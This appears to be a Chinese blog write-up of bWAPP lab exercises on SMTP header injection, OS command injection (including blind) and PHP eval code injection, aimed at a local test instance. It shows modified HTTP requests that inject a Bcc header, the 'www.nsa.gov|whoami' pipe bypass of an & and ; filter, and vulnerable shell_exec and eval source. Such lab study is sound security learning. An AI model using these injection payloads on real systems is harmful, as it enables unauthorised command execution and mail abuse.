bWAPP——20201118
Mail Header Injection(SMTP)
- 电子邮件标题注入
通常的做法是网站实施联系表单,反过来将合法用户的电子邮件发送给消息的预期收件人。大多数情况下,这样的联系表单将设置SMTP标头From,Reply-to以便让收件人轻松处理联系表单中的通信,就像其他电子邮件一样。
不幸的是,除非用户的输入在插入SMTP头之前被验证,否则联系表单可能容易受到电子邮件头插入(也称为SMTP头注入)的攻击。这是因为攻击者可以将额外的头部注入到消息中,从而指示SMTP服务器执行与预期不同的指令。
以下PHP代码是一种易受电子邮件头部注入攻击的典型联系人表单的示例。以下代码将由网站访问者提供的名称和电子邮件地址,并准备电子邮件的标题列表。
使用From标题,以便电子邮件的收件人(在本示例中为root @ localhost)将知道电子邮件作者是谁。回复标题允许电子邮件的收件人通过他们的电子邮件客户端中的回复按钮回复发送电子邮件的人。
攻击流程
name=wagn \nbcc:io098093oiscx0123@mailinator.com&email=bwapp%40mailinator.com&remarks=144&form=submit
截获请求:
POST /bwapp/bWAPP/maili.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/bwapp/bWAPP/maili.php
Cookie: security_level=0; PHPSESSID=c7etusppo7g6gb8d6s496ak9lp
Upgrade-Insecure-Requests: 1
name=wagn&email=bwapp%40mailinator.com&remarks=144&form=submit
修改请求
POST /bwapp/bWAPP/maili.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/bwapp/bWAPP/maili.php
Cookie: security_level=0; PHPSESSID=c7etusppo7g6gb8d6s496ak9lp
Upgrade-Insecure-Requests: 1
name=wagn \nbcc:io098093oiscx0123@mailinator.com&email=bwapp%40mailinator.com&remarks=144&form=submit
OS Command Injection
function commandi($data)
{
switch($_COOKIE["security_level"])
{
case "0" :
$data = no_check($data);
break;
case "1" :
$data = commandi_check_1($data);
break;
case "2" :
$data = commandi_check_2($data);
break;
default :
$data = no_check($data);
break;
}
medium:
function commandi_check_1($data)
{
$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);
return $input;
}
这里对&和;进行了过滤,所以我们可以用|来绕过www.nsa.gov|whoami

function commandi_check_2($data)
{
return escapeshellcmd($data);
}
high:
escapeshellcmd函数功能:
反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ' 和 " 仅在不配对的时候被转义。 在Windows平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
OS Command Injection - Blind
命令执行注入漏洞(Command Injection), 是程序能够调用函数, 将字符串转化为可执行代码, 且没有考虑到攻击者可以利用字符串, 造成代码执行漏洞。很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。
low:
发现没有任何回显, 判定为盲注类型:尝试查询后没有反应,然后尝试修改权限,修改command_blind.php源码:
{
// Debugging
// echo "Windows!";
// Increasing the PING count will slow down your web scanner!
echo"<p align=\"left\">".shell_exec("ping -n 1 " . commandi($target))."</p>";
}

这里可能编码出了问题,但还是ping通了,然后whoami一下,查询成功

medium:
还是和上一题的函数一样过滤了&和;所以我们可以用|

high:安全
PHP Code Injection
<?php
if(isset($_REQUEST["message"]))
{
// If the security level is not MEDIUM or HIGH
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2")
{
?>
<p><i><?php @eval ("echo " . $_REQUEST["message"] . ";");?></i></p>
<?php
}
// If the security level is MEDIUM or HIGH
else
{
?>

这里的test是可变参数,尝试一下XSS,貌似不行

继续尝试系统命令执行注入:http://localhost:8080/bWAPP/phpi.php?message=pwd

没有对输入的参数进行过滤就直接在eval()函数输出
uploading-image-566818.png
medium:
在Medium和High等级中, 都将预定义字符转化为HTML实体了:


浙公网安备 33010602011771号